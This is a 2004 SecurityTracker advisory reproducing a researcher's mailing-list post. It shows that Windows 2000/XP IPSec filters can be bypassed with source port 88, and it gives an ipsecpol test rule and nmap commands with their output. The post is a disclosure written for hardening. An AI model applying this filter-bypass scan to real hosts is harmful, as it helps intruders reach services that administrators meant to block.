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Category:  OS (Microsoft)  >  IPSec Vendors:  Microsoft
Microsoft Windows IPSec Filtering Can Be Bypassed By Remote Users
SecurityTracker Alert ID:  1010314
SecurityTracker URL:  http://securitytracker.com/id?1010314
CVE Reference:  GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 27 2004
Impact:  Host/resource access via network
Exploit Included:  Yes   Vendor Confirmed:  Yes  
Description:  A vulnerability was reported in Microsoft Windows 2000 and XP in the default IPSec filtering configuration. A remote user can bypass the filter and access ports on the system.

JJ Gray reported that a remote user can bypass the IPSec filters by sending a packet with a source port of 88.

The IPSec filters are admittedly not intended as a firewall feature according to Microsoft. Microsoft acknowledges this behavior in the following article:

http://support.microsoft.com/default.aspx?scid=kb;EN-US;253169

Impact:  A remote user can bypass the IPSec filtering to gain access to arbitrary ports on the system.
Solution:  No solution was available at the time of this entry.

[Editor's note: The vendor has previously indicated that the IPSec filtering feature is not intended as a host-based firewall.]

Vendor URL:  www.microsoft.com/technet/security/ (Links to External Site)
Cause:  Configuration error
Underlying OS:  Windows (2000), Windows (XP)
Reported By:  JJ Gray <jj@irmplc.com>
Message History:   None.


 Source Message Contents

Date:  Wed May 19 2004 - 16:48:26 CDT
From:  JJ Gray <jj@irmplc.com>
Subject:  Win2K & XP IPSEC Filtering bypass

 

Hi folks,
     As a result of a recent engagement looking at Windows host hardening, I
came across this little trick and thought it might be useful at some point.
The Microsoft IPSEC filters used by Windows 2000 & XP can be bypassed by
choosing a source port of 88 (Kerberos).

First off, Microsoft themselves state that IPSEC filters are not designed as
a full featured host based firewall [1] and it is already known that certain
types of traffic are exempt from IPSEC filters [2] and they can be
summarised as:

* Broadcast
* Multicast
* RSVP
* IKE
* Kerberos

In a Microsoft support note [2] there is the line:
"The Kerberos exemption is basically this: If a packet is TCP or UDP and has
a source or destination port = 88, permit."

The test host here has a "block all" rule created using:

ipsecpol.exe -x -w REG -p "The Black Knight" -r "NoneShallPass" -n BLOCK -f
0=*::*

Normal Nmap scan:

# nmap -sS -v -v -P0 --initial_rtt_timeout 10 --max_rtt_timeout 20
172.25.0.14

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-19 18:14 BST
Host 172.25.0.14 appears to be up ... good.
Initiating SYN Stealth Scan against 172.25.0.14 at 18:14
The SYN Stealth Scan took 7 seconds to scan 1659 ports.
Interesting ports on 172.25.0.14:
(The 1658 ports scanned but not shown below are in state: filtered)
PORT STATE SERVICE
88/tcp closed kerberos-sec

Nmap run completed -- 1 IP address (1 host up) scanned in 7.017 seconds

Port 88 closed is the hint, Nmap again using this source port:

# nmap -sS -v -v -P0 -g 88 --initial_rtt_timeout 10 --max_rtt_timeout 20
172.25.0.14

Starting nmap 3.50 ( http://www.insecure.org/nmap/ ) at 2004-05-19 18:14 BST
Host 172.25.0.14 appears to be up ... good.
Initiating SYN Stealth Scan against 172.25.0.14 at 18:14
Adding open port 445/tcp
Adding open port 135/tcp
Adding open port 139/tcp
Adding open port 1433/tcp
Adding open port 1027/tcp
Adding open port 1025/tcp
The SYN Stealth Scan took 0 seconds to scan 1659 ports.
Interesting ports on 172.25.0.14:
(The 1653 ports scanned but not shown below are in state: closed)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1027/tcp open IIS
1433/tcp open ms-sql-s

Nmap run completed -- 1 IP address (1 host up) scanned in 0.367 seconds

As can be seen, the IPSEC filters are bypassed. Although not designed as a
host based firewall, IPSEC filters are being used as such, particularly to
block popular attacked ports such as NETBIOS, CIFS and SQL, perhaps as
[temporary] worm mitigation.

In Windows 2003 all of these default exemptions have been removed with the
exception of IKE [1] and I believe that this may be incorporated into
earlier Windows versions at some point.

Cheers,
             JJ

[1] http://support.microsoft.com/default.aspx?scid=kb;EN-US;810207
[2] http://support.microsoft.com/default.aspx?scid=kb;EN-US;253169

 


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